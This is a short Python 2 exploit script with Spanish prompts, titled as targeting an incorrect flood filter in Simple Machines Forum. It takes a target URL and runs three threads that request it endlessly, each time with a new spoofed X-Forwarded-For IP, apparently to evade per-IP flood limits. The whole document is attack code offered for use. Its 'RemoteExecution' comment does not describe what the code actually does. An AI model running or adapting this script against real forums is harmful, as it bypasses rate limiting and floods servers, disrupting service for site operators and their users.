SMF Incorrect Flood Filter Headers

#!/usr/bin/python
# RemoteExecution
#Autor: Daniel Godoy A.K.A hielasangre

import sys, threading, time, urllib2,re
print "Ingrese URL: "
url = raw_input()
a = b = c = d = 1
count = 0
class SMFPwner(threading.Thread):
  def __init__(self, num):
      threading.Thread.__init__(self)
      self.num = num
  def run(self):
    while 1:
        global a,b,c,d,count, url
        data = ""
        while 1:
            while 1:
                if d!=250:
                    d+=1
                else:
                    if c!= 250:
                        c+=2
                        d=0
                    else:
                        if b!=250:
                            c=0
                            d=0
                            b+=1
                        else:
                            a+=1
                            b=0
                            c=0
                            d=0
                head = str(a)+'.'+str(b)+'.'+str(c)+'.'+str(d)
                headers = { 'X-Forwarded-For' : head }
                req = urllib2.Request(url, data, headers)
                f = urllib2.urlopen(req)
                count += 1
                print "[ Visitando => " + url + " Por " + str(count) +" vez ]"
for i in range(3):
 ta = SMFPwner(i)
 ta.start()